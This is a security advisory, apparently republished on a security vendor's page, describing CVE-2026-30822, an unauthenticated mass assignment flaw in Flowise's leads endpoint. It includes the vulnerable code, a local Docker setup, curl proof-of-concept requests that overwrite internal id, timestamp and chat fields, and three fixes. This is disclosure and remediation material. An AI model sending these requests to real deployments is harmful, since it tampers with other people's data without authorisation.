CVE-2026-30822

A Mass Assignment vulnerability in the /api/v1/leads endpoint allows any unauthenticated user to control internal entity fields (id, createdDate, chatId) by including them in the request body.

The endpoint uses Object.assign() to copy all properties from the request body to the Lead entity without any input validation or field filtering. This allows attackers to bypass auto-generated fields and inject arbitrary values.

Details

Root Cause

The vulnerability exists in /packages/server/src/services/leads/index.ts at lines 27-28:

// File: /packages/server/src/services/leads/index.ts
// Lines 23-38

const createLead = async (body: Partial<ILead>) => {
    try {
        const chatId = body.chatId ?? uuidv4()

        const newLead = new Lead()
        Object.assign(newLead, body)  // ← VULNERABILITY: All properties copied!
        Object.assign(newLead, { chatId })

        const appServer = getRunningExpressApp()
        const lead = appServer.AppDataSource.getRepository(Lead).create(newLead)
        const dbResponse = await appServer.AppDataSource.getRepository(Lead).save(lead)
        return dbResponse
    } catch (error) {
        throw new InternalFlowiseError(...)
    }
}

The Object.assign(newLead, body) on line 28 copies ALL properties from the request body to the Lead entity, including:

• id - The primary key (should be auto-generated)
• createdDate - The creation timestamp (should be auto-generated)
• chatId - The chat identifier

Lead Entity Definition

The Lead entity at /packages/server/src/database/entities/Lead.ts uses TypeORM decorators that should auto-generate these fields:

// File: /packages/server/src/database/entities/Lead.ts

@Entity()
export class Lead implements ILead {
    @PrimaryGeneratedColumn('uuid')  // Should be auto-generated!
    id: string

    @Column()
    name?: string

    @Column()
    email?: string

    @Column()
    phone?: string

    @Column()
    chatflowid: string

    @Column()
    chatId: string

    @CreateDateColumn()  // Should be auto-generated!
    createdDate: Date
}

However, Object.assign() overwrites these fields before they are saved, bypassing the auto-generation.

Why the Endpoint is Publicly Accessible

The /api/v1/leads endpoint is whitelisted in /packages/server/src/utils/constants.ts:

// File: /packages/server/src/utils/constants.ts
// Line 20

export const WHITELIST_URLS = [
    // ... other endpoints ...
    '/api/v1/leads',  // ← No authentication required
    // ... more endpoints ...
]

Proof of Concept

Prerequisites

• Docker and Docker Compose installed
• curl installed

Step 1: Start Flowise

Create a docker-compose.yml:

services:
  flowise:
    image: flowiseai/flowise:latest
    restart: unless-stopped
    environment:
      - PORT=3000
      - DATABASE_PATH=/root/.flowise
      - DATABASE_TYPE=sqlite
      - CORS_ORIGINS=*
      - DISABLE_FLOWISE_TELEMETRY=true
    ports:
      - '3000:3000'
    volumes:
      - flowise_data:/root/.flowise
    entrypoint: /bin/sh -c "sleep 3; flowise start"

volumes:
  flowise_data:

Start the container:

docker compose up -d
# Wait for Flowise to be ready (about 1-2 minutes)
curl http://localhost:3000/api/v1/ping

Step 2: Baseline Test - Normal Lead Creation

First, create a normal lead to see expected behavior:

curl -X POST http://localhost:3000/api/v1/leads \
  -H "Content-Type: application/json" \
  -d '{
    "chatflowid": "normal-chatflow-123",
    "name": "Normal User",
    "email": "[email protected]",
    "phone": "555-0000"
  }'

Expected Response (normal behavior):

{
    "id": "018b23e3-d6cb-4dc5-a276-922a174b44fd",
    "name": "Normal User",
    "email": "[email protected]",
    "phone": "555-0000",
    "chatflowid": "normal-chatflow-123",
    "chatId": "auto-generated-uuid",
    "createdDate": "2025-12-26T06:20:39.000Z"
}

Note: The id and createdDate are auto-generated by the server.

Step 3: Exploit - Inject Custom ID

Now inject a custom id:

curl -X POST http://localhost:3000/api/v1/leads \
  -H "Content-Type: application/json" \
  -d '{
    "chatflowid": "attacker-chatflow-456",
    "name": "Attacker",
    "email": "[email protected]",
    "phone": "555-EVIL",
    "id": "aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee"
  }'

Actual Response (vulnerability confirmed):

{
    "id": "aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee",
    "name": "Attacker",
    "email": "[email protected]",
    "phone": "555-EVIL",
    "chatflowid": "attacker-chatflow-456",
    "chatId": "auto-generated-uuid",
    "createdDate": "2025-12-26T06:20:40.000Z"
}

⚠️ The attacker-controlled id was accepted!

Step 4: Exploit - Inject Custom Timestamp

Inject a fake createdDate:

curl -X POST http://localhost:3000/api/v1/leads \
  -H "Content-Type: application/json" \
  -d '{
    "chatflowid": "timestamp-test-789",
    "name": "Time Traveler",
    "email": "[email protected]",
    "createdDate": "1970-01-01T00:00:00.000Z"
  }'

Actual Response (vulnerability confirmed):

{
    "id": "some-auto-generated-uuid",
    "name": "Time Traveler",
    "email": "[email protected]",
    "chatflowid": "timestamp-test-789",
    "chatId": "auto-generated-uuid",
    "createdDate": "1970-01-01T00:00:00.000Z"
}

⚠️ The attacker-controlled timestamp from 1970 was accepted!

Step 5: Exploit - Combined Mass Assignment

Inject multiple fields at once:

curl -X POST http://localhost:3000/api/v1/leads \
  -H "Content-Type: application/json" \
  -d '{
    "chatflowid": "any-chatflow-attacker-wants",
    "name": "Mass Assignment Attacker",
    "email": "[email protected]",
    "phone": "555-HACK",
    "id": "11111111-2222-3333-4444-555555555555",
    "createdDate": "2000-01-01T12:00:00.000Z",
    "chatId": "custom-chat-id-injected"
  }'

Actual Response (vulnerability confirmed):

{
    "id": "11111111-2222-3333-4444-555555555555",
    "name": "Mass Assignment Attacker",
    "email": "[email protected]",
    "phone": "555-HACK",
    "chatflowid": "any-chatflow-attacker-wants",
    "chatId": "custom-chat-id-injected",
    "createdDate": "2000-01-01T12:00:00.000Z"
}

⚠️ ALL three internal fields (id, createdDate, chatId) were controlled by the attacker!

Verification

The exploit succeeds because:

1. ✅ HTTP 200 response (request accepted)
2. ✅ id field contains attacker-controlled UUID
3. ✅ createdDate field contains attacker-controlled timestamp
4. ✅ chatId field contains attacker-controlled string
5. ✅ No authentication headers were sent

Who is Affected?

• All Flowise deployments that use the leads feature
• Both open-source and enterprise versions
• Any system that relies on lead data integrity

Attack Scenarios

Severity Assessment

While this vulnerability doesn't directly expose sensitive data (unlike the IDOR vulnerability), it violates the principle that internal/auto-generated fields should not be user-controllable. This can lead to:

• Data integrity issues
• Potential business logic bypasses
• Audit/compliance concerns
• Foundation for chained attacks

Option 1: Whitelist Allowed Fields (Recommended)

Only copy explicitly allowed fields from the request body:

const createLead = async (body: Partial<ILead>) => {
    try {
        const chatId = body.chatId ?? uuidv4()

        const newLead = new Lead()
        
        // ✅ Only copy allowed fields
        const allowedFields = ['chatflowid', 'name', 'email', 'phone']
        for (const field of allowedFields) {
            if (body[field] !== undefined) {
                newLead[field] = body[field]
            }
        }
        newLead.chatId = chatId
        // Let TypeORM auto-generate id and createdDate

        const appServer = getRunningExpressApp()
        const lead = appServer.AppDataSource.getRepository(Lead).create(newLead)
        const dbResponse = await appServer.AppDataSource.getRepository(Lead).save(lead)
        return dbResponse
    } catch (error) {
        throw new InternalFlowiseError(...)
    }
}

Option 2: Use Destructuring with Explicit Fields

const createLead = async (body: Partial<ILead>) => {
    try {
        // ✅ Only extract allowed fields
        const { chatflowid, name, email, phone } = body
        const chatId = body.chatId ?? uuidv4()

        const appServer = getRunningExpressApp()
        const lead = appServer.AppDataSource.getRepository(Lead).create({
            chatflowid,
            name,
            email,
            phone,
            chatId
            // id and createdDate will be auto-generated
        })
        
        const dbResponse = await appServer.AppDataSource.getRepository(Lead).save(lead)
        return dbResponse
    } catch (error) {
        throw new InternalFlowiseError(...)
    }
}

Option 3: Use class-transformer with @Exclude()

Add decorators to the Lead entity to exclude sensitive fields from assignment:

import { Exclude } from 'class-transformer'

@Entity()
export class Lead implements ILead {
    @PrimaryGeneratedColumn('uuid')
    @Exclude({ toClassOnly: true })  // ✅ Prevent assignment from request
    id: string

    // ... other fields ...

    @CreateDateColumn()
    @Exclude({ toClassOnly: true })  // ✅ Prevent assignment from request
    createdDate: Date
}

Additional Recommendation

Consider applying the same fix to other endpoints that use Object.assign() with request bodies, such as:

• /packages/server/src/utils/addChatMessageFeedback.ts (similar pattern)

Resources

• CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes
• OWASP: Mass Assignment Cheat Sheet
• OWASP API Security Top 10 - API6:2023 Unrestricted Access to Sensitive Business Flows
• Node.js Security Best Practices

CVE-2026-30822 has a CVSS score of 7.7 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (3.0.13); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-30822? CVE-2026-30822 is a high-severity security vulnerability in flowise (npm), affecting versions <= 3.0.12. It is fixed in 3.0.13.
2. How severe is CVE-2026-30822? CVE-2026-30822 has a CVSS score of 7.7 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of flowise are affected by CVE-2026-30822? flowise (npm) versions <= 3.0.12 is affected.
4. Is there a fix for CVE-2026-30822? Yes. CVE-2026-30822 is fixed in 3.0.13. Upgrade to this version or later.
5. Is CVE-2026-30822 exploitable, and should I be worried? Whether CVE-2026-30822 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-30822 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-30822? Upgrade flowise to 3.0.13 or later.